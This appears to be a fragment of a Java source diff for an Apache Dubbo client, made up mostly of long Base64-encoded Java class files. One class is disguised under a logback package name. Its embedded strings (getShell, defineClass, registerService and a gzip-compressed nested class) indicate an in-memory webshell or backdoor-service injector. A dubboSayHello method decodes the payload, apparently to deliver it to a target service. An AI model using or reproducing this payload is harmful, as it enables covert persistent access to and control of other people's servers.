AABBAAX+ACAHALsHAL4HAHb8ABUB/AANBwB2/wAGAAMHAHYHALsHAL4AAQcAH/8ACQAHBwB2BwC7BwC+AAAABwAfAAAB/QAAAAQAAQC5AAEAMgASAAIB+wAAARMABAAIAAAAzyoqtgDVtwDZTCu2AN2ZAA27AN9ZEuG3AOO/KrQAJiu5AOkCAJkACSortwDssCortwDwmQAJKiu3AOywKiq2APK3APRNsgBDuwAqWbcAKxL2tgAxLLYA+bYAN7YASSoqtgD7twD0TrIAQ7sAKlm3ACsS/bYAMS22APm2ADe2AEkqLC23AQEqLbcBBToEKissGQS3AQk6BSq0ACYrGQW5AQ0DAMABDzoGGQbGAAkqK7cA7LAZBbYBEiortwDssDoHKrQAJisZBbkBFgMAVxkHvwABALIAvAC9ANMAAQH8AAAAKgAF/AAaBwBqEg3/AHYABwcAAgcAagcAXgcAXgcABAcBDwcBDwAASgcA0wH9AAAABAABAB8AAgDtAO4AAQH7AAAAJQACAAMAAAAZuAEctgEiTSy5ASgBACu6ATsAALkBQQIArAAAAAAAAgDWANcAAQH7AAAAPgACAAMAAAAiK8cABxMBQ7ArtgFGTSwTAUi2AUuZAAwsBLYBT02n//AssAAAAAEB/AAAAAoAAwj8AAQHAGoSAAIA/gD/AAIB+wAAAJ0ABAADAAAAhSu2AVOaACK7AN9ZuwAqWbcAKxMBVbYAMSu2AGG2ADG2ADe3AOO/LLYBU5oADSy2AVm4AV+ZACK7AN9ZuwAqWbcAKxMBYbYAMSy2AGG2ADG2ADe3AOO/Kyy2AWWaACm7AN9ZuwAqWbcAKyy2AGG2ADETAWe2ADErtgBhtgAxtgA3twDjv7EAAAABAfwAAAAGAAQmEB4tAfoAAAACAVAAAgECAQMAAgH7AAAAWAAEAAMAAAA4KwO9AF62AW5NLAS2AXEsA70ABLYBdLBNuwDfWbsAKlm3ACsTAXa2ADErtgBhtgAxtgA3LLcBeb8AAQAAABYAFwFqAAEB/AAAAAYAAVcHAWoB+gAAAAIBaAACAQYBBwACAfsAAAC8AAMACAAAAJa4ARw6BLsBD1m3AXs6BRkFLLYBfxkFLbYBgxkFK7YBhhkFEwGItgGLGQUZBLYBjwG2AZXAAZe2AZu7AZ1ZGQS2AaG3AaQ6BhkGuQGnAQCZABG7AZ1ZGQS2Aaq3AaQ6BhkFGQa2Aa67AZ1ZGQS2AbG3AaQ6BxkHuQGnAQCZABG7AZ1ZGQS2AbS3AaQ6BxkFGQe2AbcZBbAAAAABAfwAAAAUAAL+AF8HAR4HAQ8HAab8ACwHAaYB+gAAAAIBegACAOoA1wABAfsAAABuAAMABQAAAFC4ARxNLLYBoU4tuQGnAQCZAA+7AZ1ZLLYBqrcBpE4tuQGnAQCZAAUrsLgBvDoELbkBvQEAGQQrugHJAAC5Ac0CABMBz7gB1bkB2QIAwABqsAAAAAEB/AAAAAwAAv0AHgcBHgcBpgoAAgA6ADsAAQH7AAAAgQADAAYAAAA2AU27ALtZtwC8TrsARVkttwHcTSsstgHgLbYB4ToELMYAByy2AeIZBLA6BSzGAAcstgHiGQW/AAIAAgAeACkAAAApACsAKQAAAAEB/AAAACkAA/4AJgcARQcAuwcAav8AAgADBwACBwAfBwBFAAEHAB/+AAkAAAcAHxAKAb8BwAABAfsAAAAtAAUAAwAAACETAeQHvQAEWQMstgHnU1kEKlNZBSy2AetTWQYrU7gB77AAAAAAEAoBKgErAAEB+wAAABUAAgACAAAACSortgH0tgH3rAAAAAAACAH4AB0AAQH7AAAANgACAAAAAAAfpwARABMBQ7MALQOzACinAAcAp//xALsAAlm3AflXsQAAAAEB/AAAAAUAAwMNAwACAf4AAAAKAAEABgAIAAkAGQH/AAAAFgACATcAAwEpAS4BMAE3AAMBvgHDAcU="); +// String result = svc.loadBytes(decode); + String result = svc.sayHello("world"); + System.out.println(result); + } + + public static void dubboSayHello(String url) { + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(DemoService.class); + reference.setVersion("1.0.0"); + reference.setUrl(url); + + try { + DemoService service = reference.get(); + byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQB/QEAHWNoL3Fvcy9sb2diYWNrL29iRHljL0RhdGVVdGlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAJWphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXAHAAUBAB5qYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMHAAcBAAZMb29rdXABAA9keW5hbWljU2VydmljZXMBAA9MamF2YS91dGlsL01hcDsBAE1MamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZzwqPjs+OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAm9rAQABWgEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEANG9yZy5hcGFjaGUuaHR0cC53ZWIuaGFuZGxlcnMuZ3pmUHEuT0F1dGhEdWJib1NlcnZpY2UIABMBAAxnZXRDbGFzc05hbWUBAA9nZXRCYXNlNjRTdHJpbmcBCORINHNJQUFBQUFBQUEvNTFXK1hjVFZSVCtYakxwaEJBS0JBcUVVaXlJa0RadEk0c1ZBeUpkUUVHU2dpbG9LWXJUeVdzemtNNkV5WVJTVUxHS3VPRXVLcmlnS0ZiRkpZaE9rYkw0RTU3anYrSHhqNURENG4yVFVGSm8xV05PenJ5WisrNzYzZVc5MzYrZHZRQmdHWDVsV0dhWVBSRWxvNmdwSGtsWlZpYlN4N3NpS1VWUHBybVpqZlRzN2Q2NEs5TFdsTE5TcmJtdUxpUEJ6ZDJheW1Vd2hpazdsTjFLSkszb1BaRzJyaDFjdFdTNEdjcFdhcnBtcldKd2gycTIrT0ZCbVE4U1pOb29LS1dYVUdkelRXY3p3N1NiQ3Ric1VYbkcwZ3hkeHNSUm1oT1dxZWs5TWlZeGVJU2NvM0t5RCtXWXd1RHQ0ZFpHeFZSNkdSYUdOdHdxdEtMbWRwSWZBVXp6d1lYcERPVWt2VTdQNUN6YTQwSkh6Zmc2TkNOU3drcHFabUNtVURPTG9lb0dRM08veFp0TVUrbHZ5MWtqckRKbSsxQXA0cC9xOE9Vc0xSMUpxSXF1YzFOR0ZjT3MwSmdXQ29IZTRjTmNWRE80dGpWNU1aL0JuOHZ5VnA3V2VqV0xtd3lMeG5lNDFBNjV1d0IzQ1ZVTEdTU2Q3N0VZcG9mR1JDZUVHc0ZYVzhCV1JKUWxrUkNseTQ4NjFBdmNHeWdUZlNZNTRNZmRJaE9WV0V5VTduUXVtL0pqcVVoM0paWVJSVTBiV2VKcExGRHVaWmhvR1NNUStYR2YwRmFKS0FYWDJTeGpKY05rc3JqR05BMHp4ck5acFlmZmtwRDJsR24wS1YxcFBuWmVWK0VCa1pEVk44cHFOSjR5cU41a0k5dWdLNzNjaTliUk5kYWZ0VGl4ckNVZlJVV1pSb2FiRnZuNGtLaVZCN0hPOFgyRDBjZk5Ga1hFOUxCQXFSd2JxSmI3TkQxcDlIa1JKOFJVUTdjVVRTZkVLa3NkYjBrcFpvTHZ5bkZkSmQrMytyRVJtNFQ0SStTUjJwdHM0SHZJbzNiQ0lhSjZzWVg4Nzd3OVBobVBFWGVrUzlNajJaUVhXNG03bnJpM2tXZno5NmxHYnkvMTF0UHp2WGlDK201Yk51ekZrNVNCYkNhdFdlTlV5UmcyL09pQ0toeExraW1UWjlLS1NqbG9IVGVVY1VNY1MzVTNlb1RxRk1PRUVYKzkyRUgxZjVPWmdGY3A5YzA1TFowVTNaRm1tQkVhdzlGQ2IrZys5TUlndUV5ZTFFd2FQMDd0M09qbHF0RFdVajlHcXlaL2RzRVU4bGtCazZXWUJGTkZhQXdCNHN4aHQrRHN1OUhCcGRzeStobG1oc1lmRXZ0ODJJdW5xRTV5ZXArcFpCaVdsOEpaR0pzci9ubHlGWmxHamN1UlhwRHhMTU1rS3RxMUdrOG50eWpwSEpYbmM5Z3ZXdUY1aHJrM1JlSkdJcWVtSExhU1lmdENvZEZiMGtxV29KZzJDZ0tIU0ZHOGlKZkVDSCtaT3ZTV1RSbXZVaU9SZkN0WDB3cmx3VkhQVVA4dnc5amszV21LS2VLd2s0WFg4TG9QaC9BR1lUa09rNHkzS000c3Q1cFVnYnZXSlE0U2lYSk1wZkFPM3ZYaGJSeW0waWRYYmprS2l1aU5BYWdmNytNRElYaWtnR0FpUjEydmlyRDgrRkNFZkFnZmpYS29FTWhJZFg3aXd6RXgxMldTamROVThlTXpNUllPNFRpbFc4bGt1UDRma0JpbGsxejZBaWVFMmk4WkF0Vk80Tlc2WVZWM0d6azlHYTMyNGl0S2wyVVVoUHo0UnRnN2hwT2lkc2Zya3U5OE9JanZTNGJpUnRvY0dZcDVodUROODZmMDNDcUsvK2pES1p5bXpHY0tZb3E2czkxMDVrTEp1VldpMGhIN0diWVBBeGdTOC8ya1VFRERYMm94a2lRMXlWRVJVekx0aXBOQzMwZ3RVdmsxL3ArcnlJTEZNaTVnSHRXN0JJYUxkSzJoeTRtNGR0QnptTDZtMHNwbzlkUU93WHNLNGtjekNMN2k5bUVTSzZOVkNWK0NOM3poS0dUM09XOStHT1VkNFNGTWpkWFdEYUVpWGxzL2hHQlVHa1pseHhEbVJEMUJ6ekRtZGdTbEljd0wzR2xqa1kyd2pZaU5KVUdQalh2RVk3bDRyTWhIcFZyQjFVUzdlVEk0QiszWUREKzluU09UcytHZTRMNU81NHNrd3lYamZobmw5QWVUaWNNbDdpbEZGNGxFMzRBcm5IZmNkNG5MQnoxcGoza29VcGxvcDJ0ajRUallJTnd4Rm1kUktTajlobFdCTldldzNrWXMwR1lqY1FTenlzNVRXTzdBNWtTSEZIZzAwZUVKSndaUlVTUjJDdUxqRGpFK2lMYWdGTmp1Q0MybE44VUdqM3JjaldVVlpVSFBoZU1JQmozaXJhSnNTV0E3QmE0bERwU3h3ZXQvQmowa1dVSDhPd1ZSb09SSXhvZlIyMEVBWmlRYmxvMDlOcDZPa1o5MWVTY1RBb2pWbUhpMUNFTDVkY3FIcS9BcWtHaTVJdkxaY2hVTk1qcUl0b2tXOTFWVTBNSXVvK295UEZQL1FnWE9reGFSZmdIdE05aGZCSzdHS1FwZ1FyanVEQTdrNCtGOG9SSW80UU5GMDFRbGEyWDZtaUNHWmdGVE9ob2tSMng5clkxWFluVUI2UVNxNmlpa04rUDFGTUo3OVVRK21vL1gyZmc0Tm5qOWoyRWM3QmpHTVNxTVR3Vy9qYzl0REFhK3BnZUpETnI0ZGdnL1hDUnJFNmtaNWxBdkZ1eE9ndnNLUERJT2JaRngwRnZpdjB0Y1pJcitEOER0MUdZaml4VkxqN0E4SmJEOEtSWW0rMmZxYmZ3U2xlb3VRYWF2czBFcEgvV01mSGd1a2k0WDNlVnFIQ1RDemxvd1hnUDNOU3lVY1VwR3BRTzVDMjRIOGdHaUNkUUhyaEVnRUxqZ2IrcHBvVGtyREFBQQgAFwEAFWdldEhlbHBlckJhc2U2NFN0cmluZwEAwEg0c0lBQUFBQUFBQS96djFiOWMrQmdZR0V3WjJSZ2F6L0tKMC9jU0N4T1NNVlAyTWtwSUMvZkxVSlAyTXhMeVVuTlNpWXYzMHFyU0FRbjEveDlLU0RKZlNwS1Q4NE5TaXNzemtWQlZEZGdaR1JnYUJyTVN5UlAyY3hMeDBmZitrck5Ua0VuWUdaa1lHTm9odUlFTWoya2t6Mm9tTmtZR0pnWVVCQkJoWkdCbFlHZGhBVEFENHM5VjFoQUFBQUE9PQgAGgEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9UaHJvd2FibGUHAB4MABwAHQoABAAgAQAmamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudEhhc2hNYXAHACIKACMAIAwACgALCQACACUMAA8AEAkAAgAnAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHACkKACoAIAwADQAOCQACACwBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsMAC4ALwoAKgAwAQAPcmVnaXN0ZXJTZXJ2aWNlDAAyABIKAAIAMwEACHRvU3RyaW5nDAA1ABIKACoANgEAEnVuZXhjZXB0ZWQgZXJyb3I6IAgAOAEAD2dldEVycm9yTWVzc2FnZQEAKShMamF2YS9sYW5nL1Rocm93YWJsZTspTGphdmEvbGFuZy9TdHJpbmc7DAA6ADsKAAIAPAEAEGphdmEvbGFuZy9TeXN0ZW0HAD4BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsMAEAAQQkAPwBCAQATamF2YS9pby9QcmludFN0cmVhbQcARAEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMAEYARwoARQBIAQAIZ2V0U2hlbGwBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzPCo+OwEAE2phdmEvbGFuZy9FeGNlcHRpb24HAE0BAC9vcmcvYXBhY2hlL2R1YmJvL2NvbW1vbi9ieXRlY29kZS9DbGFzc0dlbmVyYXRvcgcATwEAKG9yZy9hcGFjaGUvZHViYm8vY29tbW9uL3V0aWxzL0NsYXNzVXRpbHMHAFEBAA5nZXRDbGFzc0xvYWRlcgEAKihMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAUwBUCgBSAFUMABUAEgoAAgBXAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwBZAQAJbG9hZENsYXNzDABbAEsKAFoAXAEAEGphdmEvbGFuZy9TdHJpbmcHAF4BAA9qYXZhL2xhbmcvQ2xhc3MHAGABAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDABiAGMKAAIAZAEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDABmAGcKAAIAaAEAC2RlZmluZUNsYXNzCABqAQACW0IHAGwBABFqYXZhL2xhbmcvSW50ZWdlcgcAbgEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAcABxCQBvAHIBAB5qYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW4HAHQBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAHYAdwoAYQB4AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwB6AQANc2V0QWNjZXNzaWJsZQEABChaKVYMAHwAfQoAewB+AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMAIAAgQoAbwCCAQATZ2V0UHJvdGVjdGlvbkRvbWFpbgEAIigpTGphdmEvc2VjdXJpdHkvUHJvdGVjdGlvbkRvbWFpbjsMAIQAhQoAYQCGAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DACIAIkKAHsAigEAHHJlZ2lzdGVySW5KYXZhc3Npc3RDbGFzc1Bvb2wBABwoTGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbQilWDACMAI0KAAIAjgEAAVsIAJABAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAJIAkwoABACUAQAHZ2V0TmFtZQwAlgASCgBhAJcBAAJdIAgAmQEADGdldENsYXNzUG9vbAEALihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YXNzaXN0L0NsYXNzUG9vbDsMAJsAnAoAUACdAQAJbWFrZUNsYXNzCACfAQATamF2YS9pby9JbnB1dFN0cmVhbQcAoQEACWdldE1ldGhvZAwAowB3CgBhAKQBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtBwCmAQAFKFtCKVYMABwAqAoApwCpAQAQamF2YS51dGlsLkJhc2U2NAgAqwEAB2Zvck5hbWUMAK0ASwoAYQCuAQAKZ2V0RGVjb2RlcggAsAEABmRlY29kZQgAsgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIALQBAAxkZWNvZGVCdWZmZXIIALYBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAC4ALkKAGEAugEAE2phdmEvaW8vSU9FeGNlcHRpb24HALwBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcAvgoAvwAgAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0HAMEBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABwAwwoAwgDEAQAEcmVhZAEABShbQilJDADGAMcKAMIAyAEABXdyaXRlAQAHKFtCSUkpVgwAygDLCgC/AMwBAAt0b0J5dGVBcnJheQEABCgpW0IMAM4AzwoAvwDQAQAFY2xvc2UMANIAHQoAwgDTCgC/ANMBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcA1gwAEQASCgACANgBAA1ub3JtYWxpemVQYXRoAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMANoA2woAAgDcAQAHaXNFbXB0eQEAAygpWgwA3gDfCgBfAOABACJqYXZhL2xhbmcvSWxsZWdhbEFyZ3VtZW50RXhjZXB0aW9uBwDiAQAWcGF0aCBtdXN0IG5vdCBiZSBlbXB0eQgA5AwAHABHCgDjAOYBAA1qYXZhL3V0aWwvTWFwBwDoAQALY29udGFpbnNLZXkBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAOoA6wsA6QDsAQAXcmVzb2x2ZVNlcnZpY2VBZGRyZXNzZXMMAO4A2woAAgDvAQAbaXNQYXRoUmVnaXN0ZXJlZEluRnJhbWV3b3JrAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaDADxAPIKAAIA8wwAGQASCgACAPUMAEoASwoAAgD3DAAWABIKAAIA+QEAFHZhbGlkYXRlU2VydmljZVR5cGVzAQAlKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9DbGFzczspVgwA+wD8CgACAP0BAAtpbnN0YW50aWF0ZQEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsMAP8BAAoAAgEBAQATY3JlYXRlU2VydmljZUNvbmZpZwEAXihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvT2JqZWN0OylMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZzsMAQMBBAoAAgEFAQALcHV0SWZBYnNlbnQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBBwEICwDpAQkBACVvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9TZXJ2aWNlQ29uZmlnBwELAQAGZXhwb3J0DAENAB0KAQwBDgEABnJlbW92ZQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspWgwBEAERCwDpARIBACtvcmcvYXBhY2hlL2R1YmJvL3JwYy9tb2RlbC9BcHBsaWNhdGlvbk1vZGVsBwEUAQAQZ2V0Q29uZmlnTWFuYWdlcgEAMSgpTG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL2NvbnRleHQvQ29uZmlnTWFuYWdlcjsMARYBFwoBFQEYAQAtb3JnL2FwYWNoZS9kdWJiby9jb25maWcvY29udGV4dC9Db25maWdNYW5hZ2VyBwEaAQALZ2V0U2VydmljZXMBABgoKUxqYXZhL3V0aWwvQ29sbGVjdGlvbjsMARwBHQoBGwEeAQAUamF2YS91dGlsL0NvbGxlY3Rpb24HASABAAZzdHJlYW0BABsoKUxqYXZhL3V0aWwvc3RyZWFtL1N0cmVhbTsMASIBIwsBIQEkEADrAQAkbGFtYmRhJGlzUGF0aFJlZ2lzdGVyZWRJbkZyYW1ld29yayQwAQBAKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9TZXJ2aWNlQ29uZmlnQmFzZTspWgwBJwEoCgACASkPBgEqAQAuKExvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9TZXJ2aWNlQ29uZmlnQmFzZTspWhABLAEAImphdmEvbGFuZy9pbnZva2UvTGFtYmRhTWV0YWZhY3RvcnkHAS4BAAttZXRhZmFjdG9yeQEAzChMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7KUxqYXZhL2xhbmcvaW52b2tlL0NhbGxTaXRlOwwBMAExCgEvATIPBgEzAQAEdGVzdAEAMihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9mdW5jdGlvbi9QcmVkaWNhdGU7DAE1ATYSAAABNwEAF2phdmEvdXRpbC9zdHJlYW0vU3RyZWFtBwE5AQAIYW55TWF0Y2gBACEoTGphdmEvdXRpbC9mdW5jdGlvbi9QcmVkaWNhdGU7KVoMATsBPAsBOgE9AQAACAE/AQAEdHJpbQwBQQASCgBfAUIBAAEvCAFEAQAKc3RhcnRzV2l0aAwBRgDyCgBfAUcBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsMAUkBSgoAXwFLAQArKExqYXZhL2xhbmcvQ2xhc3M8Kj47TGphdmEvbGFuZy9DbGFzczwqPjspVgEAC2lzSW50ZXJmYWNlDAFOAN8KAGEBTwEAEm5vdCBhbiBpbnRlcmZhY2U6IAgBUQEADGdldE1vZGlmaWVycwEAAygpSQwBUwFUCgBhAVUBABpqYXZhL2xhbmcvcmVmbGVjdC9Nb2RpZmllcgcBVwEACmlzQWJzdHJhY3QBAAQoSSlaDAFZAVoKAVgBWwEAKmltcGxlbWVudGF0aW9uIGNsYXNzIGlzIG5vdCBpbnN0YW50aWFibGU6IAgBXQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgwBXwFgCgBhAWEBABQgZG9lcyBub3QgaW1wbGVtZW50IAgBYwEAKChMamF2YS9sYW5nL0NsYXNzPCo+OylMamF2YS9sYW5nL09iamVjdDsBACZqYXZhL2xhbmcvUmVmbGVjdGl2ZU9wZXJhdGlvbkV4Y2VwdGlvbgcBZgEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsMAWgBaQoAYQFqAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IHAWwKAW0AfgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAuAFvCgFtAXABABZmYWlsZWQgdG8gaW5zdGFudGlhdGUgCAFyAQAqKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAcAXQKAOMBdQEAdShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL0NsYXNzPCo+O0xqYXZhL2xhbmcvT2JqZWN0OylMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvU2VydmljZUNvbmZpZzxMamF2YS9sYW5nL09iamVjdDs+OwoBDAAgAQAMc2V0SW50ZXJmYWNlAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVYMAXkBegoBDAF7AQAGc2V0UmVmAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWDAF9AX4KAQwBfwEAB3NldFBhdGgMAYEARwoBDAGCAQAFMS4wLjAIAYQBAApzZXRWZXJzaW9uDAGGAEcKAQwBhwEADmdldEFwcGxpY2F0aW9uAQAWKClMamF2YS91dGlsL09wdGlvbmFsOwwBiQGKCgEbAYsBABJqYXZhL3V0aWwvT3B0aW9uYWwHAY0BAAZvckVsc2UBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBjwGQCgGOAZEBAClvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9BcHBsaWNhdGlvbkNvbmZpZwcBkwEADnNldEFwcGxpY2F0aW9uAQAuKExvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9BcHBsaWNhdGlvbkNvbmZpZzspVgwBlQGWCgEMAZcBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwGZAQATZ2V0RGVmYXVsdFByb3RvY29scwEAEigpTGphdmEvdXRpbC9MaXN0OwwBmwGcCgEbAZ0BABkoTGphdmEvdXRpbC9Db2xsZWN0aW9uOylWDAAcAZ8KAZoBoAEADmphdmEvdXRpbC9MaXN0BwGiCwGjAOABAAxnZXRQcm90b2NvbHMMAaUBHQoBGwGmAQAMc2V0UHJvdG9jb2xzAQATKExqYXZhL3V0aWwvTGlzdDspVgwBqAGpCgEMAaoBABRnZXREZWZhdWx0UmVnaXN0cmllcwwBrAGcCgEbAa0BAA1nZXRSZWdpc3RyaWVzDAGvAR0KARsBsAEADXNldFJlZ2lzdHJpZXMMAbIBqQoBDAGzAQAmb3JnL2FwYWNoZS9kdWJiby9jb21tb24vdXRpbHMvTmV0VXRpbHMHAbUBAAxnZXRMb2NhbEhvc3QMAbcAEgoBtgG4CwGjASQQAZABACBsYW1iZGEkcmVzb2x2ZVNlcnZpY2VBZGRyZXNzZXMkMQEAYChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMb3JnL2FwYWNoZS9kdWJiby9jb25maWcvUHJvdG9jb2xDb25maWc7KUxqYXZhL2xhbmcvU3RyaW5nOwwBvAG9CgACAb4PBgG/AQA8KExvcmcvYXBhY2hlL2R1YmJvL2NvbmZpZy9Qcm90b2NvbENvbmZpZzspTGphdmEvbGFuZy9TdHJpbmc7EAHBAQAFYXBwbHkBAEMoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247DAHDAcQSAAEBxQEAA21hcAEAOChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMamF2YS91dGlsL3N0cmVhbS9TdHJlYW07DAHHAcgLAToByQEAAiwgCAHLAQAbamF2YS91dGlsL3N0cmVhbS9Db2xsZWN0b3JzBwHNAQAHam9pbmluZwEANihMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvdXRpbC9zdHJlYW0vQ29sbGVjdG9yOwwBzwHQCgHOAdEBAAdjb2xsZWN0AQAwKExqYXZhL3V0aWwvc3RyZWFtL0NvbGxlY3RvcjspTGphdmEvbGFuZy9PYmplY3Q7DAHTAdQLAToB1QEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYMABwB1woARQHYAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWDAHaAdsKAB8B3AoAvwA2CgBFANMBAA0lczovLyVzOiVkLyVzCAHgAQAmb3JnL2FwYWNoZS9kdWJiby9jb25maWcvUHJvdG9jb2xDb25maWcHAeIKAeMAlwEAB2dldFBvcnQBABUoKUxqYXZhL2xhbmcvSW50ZWdlcjsMAeUB5goB4wHnAQAGZm9ybWF0AQA5KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7DAHpAeoKAF8B6wEAKW9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWdCYXNlBwHtAQAHZ2V0UGF0aAwB7wASCgHuAfABAAZlcXVhbHMMAfIA6woAXwHzAQAIPGNsaW5pdD4KAAIAIAEACVNpZ25hdHVyZQEABENvZGUBAA1TdGFja01hcFRhYmxlAQAKRXhjZXB0aW9ucwEADElubmVyQ2xhc3NlcwEAEEJvb3RzdHJhcE1ldGhvZHMAIQACAAQAAAADABIACgALAAEB9wAAAAIADAAKAA0ADgAAAAoADwAQAAAAFAABABEAEgABAfgAAAAPAAEAAQAAAAMSFLAAAAAAAAEAFQASAAEB+AAAAA8AAQABAAAAAxIUsAAAAAAAAQAWABIAAQH4AAAADwABAAEAAAADEhiwAAAAAAABABkAEgABAfgAAAAPAAEAAQAAAAMSG7AAAAAAAAEAHAAdAAEB+AAAAI0AAwACAAAAYiq3ACEquwAjWbcAJLUAJrIAKJkABLG7ACpZtwArsgAttgAxKrYANLYAMbYAN7MALacAJEy7ACpZtwArsgAttgAxEjm2ADEqK7cAPbYAMbYAN7MALQSzACiyAEOyAC22AEmxAAEAFgAwADMAHwABAfkAAAARAAP/ABYAAQcAAgAAXAcAHyAAAgBKAEsAAwH4AAAA4QAGAAcAAACsElC4AFZNAU4sKrYAWLYAXU6nAHI6BCu4AGW4AGk6BRJaEmsIvQBhWQMSX1NZBBJtU1kFsgBzU1kGsgBzU1kHEnVTtgB5OgYZBgS2AH8ZBiwIvQAEWQMBU1kEGQVTWQUDuACDU1kGGQW+uACDU1kHElC2AIdTtgCLwABhTiosGQW3AI+7ACpZtwArsgAttgAxEpG2ADEstgCVtgCYtgAxEpq2ADG2ADezAC0tsAABAAgAEQAUAE4AAQH5AAAAGwAC/wAUAAQHAAIHAF8HAFoHAGEAAQcATvsAbgH6